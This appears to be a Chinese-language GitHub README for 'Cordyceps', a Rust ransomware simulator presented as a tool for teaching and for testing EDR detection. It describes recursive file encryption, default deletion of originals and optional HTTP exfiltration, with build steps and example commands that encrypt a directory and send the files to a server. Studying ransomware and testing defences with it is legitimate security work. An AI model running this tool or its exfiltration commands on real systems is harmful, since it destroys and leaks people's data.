lopes/cordyceps

GitHub: lopes/cordyceps

一款基于 Rust 的教育型勒索软件模拟工具,用于学习勒索软件运作机制及评估 EDR 安全防护能力。

Stars: 14 | Forks: 1

# Cordyceps Cordyceps logo **Cordyceps** 是一款基于 Rust 开发的教育型命令行**勒索软件** ☣️,专为学术和研究目的而设计。它演示了使用现代密码学技术进行文件加密、数据渗出和解密的核心机制。 ## 什么是 Cordyceps? Cordyceps 模拟了典型勒索软件的行为:它加密目标机器上的文件,将其渗出到远程服务器,并允许在拥有正确私钥的情况下通过解密进行恢复。它专为教育用途设计,旨在帮助理解勒索软件的内部原理,并用于在可控的、符合道德规范的环境中测试终端检测与响应(EDR)工具。 ### 演示 [![asciicast](https://asciinema.org/a/8zdHiPgIrX6m05ahHkCPlRtyX.svg)](https://asciinema.org/a/8zdHiPgIrX6m05ahHkCPlRtyX) ## 目的 Cordyceps 是作为一个实践学习项目而开发的,旨在培养 Rust 的实用技能——特别是在命令行界面设计、网络通信和数据序列化方面——同时对诸如 ECIES(椭圆曲线集成加密方案)等混合加密方案进行试验,并实现基于公钥的密钥管理。此外,它还可作为分析勒索软件行为并在可控环境中测试 EDR 等终端安全解决方案检测能力的工具。 它为以下研究提供了实践平台: - **勒索软件行为模拟**:演示了勒索软件操作的核心逻辑,从 payload 执行到加密以及可选的文件删除。 - **密钥管理与混合加密**:使用 AES-GCM 密钥进行内容加密,并使用 ECIES(基于 Curve25519)进行安全密钥交换,具备完美前向保密性。 - **数据渗出**:递归加密指定目录中的文件,并通过 HTTP/HTTPS 将其安全传输到远程服务器。 - **数据恢复**:使用相应的私钥将 `.zombie` 文件解密回原始形式。 - **安全工具评估**:通过以安全、可复现的方式提供逼真的类勒索软件行为,支持对 EDR 和行为检测系统的测试。 ## 主要功能 - 🔄 **三种操作模式**:支持 `generate`、`encrypt` 和 `decrypt` 命令,实现完整的密钥管理和文件处理。 - 🔒 **强加密**:使用 **AES-256-GCM** 进行文件加密,并使用**类 ECIES 方案(基于 x25519/Curve25519 和 HKDF-SHA256)**进行安全密钥交换,提供完美前向保密性。 - 🧟 **`.zombie` 格式**:每个加密文件都以自定义的 `.zombie` 格式存储,包含: - Magic bytes ("CORD") 和版本号 - 临时公钥(32 字节) - 带有身份验证标签的加密 AES 密钥(48 字节) - 密钥封装随机数(12 字节) - 文件内容随机数(12 字节) - 带有身份验证标签的加密文件内容 - 📁 **递归文件处理**:自动遍历目录,加密符合条件的文件(内置排除系统文件和开发目录),并可选择删除原始明文版本。 - 🌐 **安全网络渗出**:通过 **HTTP** 或 **HTTPS** 传输加密数据,支持目标路径规范和基本错误处理。 ## 道德使用声明 本项目是**技术演示**,而非武器。请勿在未经完全授权和同意的环境(例如您自己的机器、测试实验室或沙箱)之外使用 Cordyceps。滥用可能导致严重的法律后果,并违反网络安全领域的道德标准。☣️ ## 安装 ``` git clone https://github.com/lopes/cordyceps.git cd cordyceps cargo build --release cp target/release/cordyceps $HOME/.local/bin/ ``` ## 用法 Cordyceps 通过命令行参数进行操作,允许对其行为进行灵活控制。 ### 命令行选项 Cordyceps 使用子命令来处理不同的操作模式。您必须指定以下三个命令之一:`generate`、`encrypt` 或 `decrypt`,每个命令都有自己的一套选项。如有疑问,请运行 `cordyceps help`。 #### `generate` 命令 使用 `generate` 命令创建新的 Curve25519 密钥对,用于加密(公钥)和解密(私钥)文件。密钥以无填充的 Base64 格式存储。 - `-p, --path `:指定存储密钥对的路径。默认:当前目录 (`.`)。密钥将保存为 `main-private.key` 和 `main-public.key`。 ### 文件处理行为 Cordyceps 在加密过程中会自动排除某些文件和目录,以避免系统损坏并提高性能,例如: **排除的目录:** `.git`, `.svn`, `node_modules`, `target`, `__pycache__`, `.idea`, `.vscode`, `.Spotlight-V100`, `.Trashes`, `.fseventsd` **排除的文件:** `.zombie`, `.DS_Store`, `.AppleDouble`, `.LSOverride`, `.VolumeIcon.icns`, `.apdisk`, `.metadata_never_index`, `.dmg`, `.pkg`, `.tmp`, `.bak`, `.swp`, `.swo` 即使单个文件处理失败,工具也会继续处理,并在最后报告部分失败。在解密过程中,它专门针对扩展名为 `.zombie` 的文件。 #### `encrypt` 命令 使用 `encrypt` 命令开始加密和渗出过程。 - `-p, --path `:指定文件处理的起始目录。默认:当前目录 (`.`)。 - `-k, --key `:主公钥的文件路径。默认:`main-public.key`。 - `-n, --no-delete`:防止在成功加密和传输后删除原始文件。默认:`false`,即删除原始文件。 - `-s, --server
`:用于渗出数据的**可选**服务器 URL(例如 `http://server:2673`)。默认:无,禁用渗出。 #### `decrypt` 命令 使用 `decrypt` 命令通过提供的私钥恢复 `.zombie` 文件。 - `-p, --path `:指定文件处理的起始目录。默认:当前目录 (`.`)。 - `-k, --key `:主私钥的文件路径。默认:`main-private.key`。 - `-n, --no-delete`:防止在成功解密后删除 `.zombie` 文件。默认:`false`,即删除 `.zombie` 文件。 ### 数据渗出 数据渗出是加密例程的一个可选步骤。实现它的最简单方法是使用 Python 的 [uploadserver](https://pypi.org/project/uploadserver/)。在 localhost 上部署它的最简单方法如下所示: ``` python3 -m pip install --user uploadserver python3 -m uploadserver 2673 --bind 127.0.0.1 --directory /tmp/cordyceps ``` 在 localhost 上安装 uploadserver 模块后,运行它将其绑定到端口 2673 和任意目录。然后,您可以使用 cURL 上传 `./foobar.fb` 文件来测试它: ``` curl -X POST -F "files=@./foobar.fb" http://localhost:2673/upload ``` 上传操作要求将文件发送到 `/upload` endpoint,表单字段名称为 `files`。文件名会自动清理为纯 ASCII 字符,以确保兼容性。 如果测试成功,[Cordyceps::net](src/net.rs) 下的渗出例程应该就能正常工作了。🤞 ### 示例 #### 加密示例 此命令将加密 `/path/to/sensitive_data` 目录中的文件,将它们发送到指定的服务器和文件夹,但不会删除原始文件。 ``` cordyceps encrypt -p /path/to/sensitive_data -k /path/to/main-public.key -s http://server:2673 -n ``` #### 解密示例 此命令将使用位于 `/path/to/your/main-private.key` 的私钥,解密 `/path/to/zombie_files` 目录中的 `.zombie` 文件。 ``` cordyceps decrypt -p /path/to/zombie_files -k /path/to/your/main-private.key ``` ## 密钥管理 - **密钥生成**:使用 `generate` 命令创建新的 Curve25519 密钥对。密钥以 Base64 编码文件(无填充)的形式存储。 - **主公钥**:对于**加密**操作,必须通过 `--key` CLI 选项提供主 Curve25519 公钥。此密钥用于建立共享密钥,以便使用 ECDH + HKDF-SHA256 对 AES 密钥进行加密。 - **主私钥**:对于**解密**操作,用户必须通过 `--key` CLI 选项显式提供相应的 Curve25519 私钥。**妥善保管此私钥的安全并绝对不要将其与客户端应用程序一起分发是至关重要的。** 每次加密操作都会生成一个唯一的临时密钥对,从而确保即使主私钥遭到泄露,也能具备完美前向保密性。 ## 许可证 本项目基于 [MIT 许可证](LICENSE) 授权。
标签:DAST, EDR测试, Rust, 勒索软件, 可视化界面, 安全教育, 密码学, 恶意软件分析, 手动系统调用, 文档结构分析, 网络流量审计, 通知系统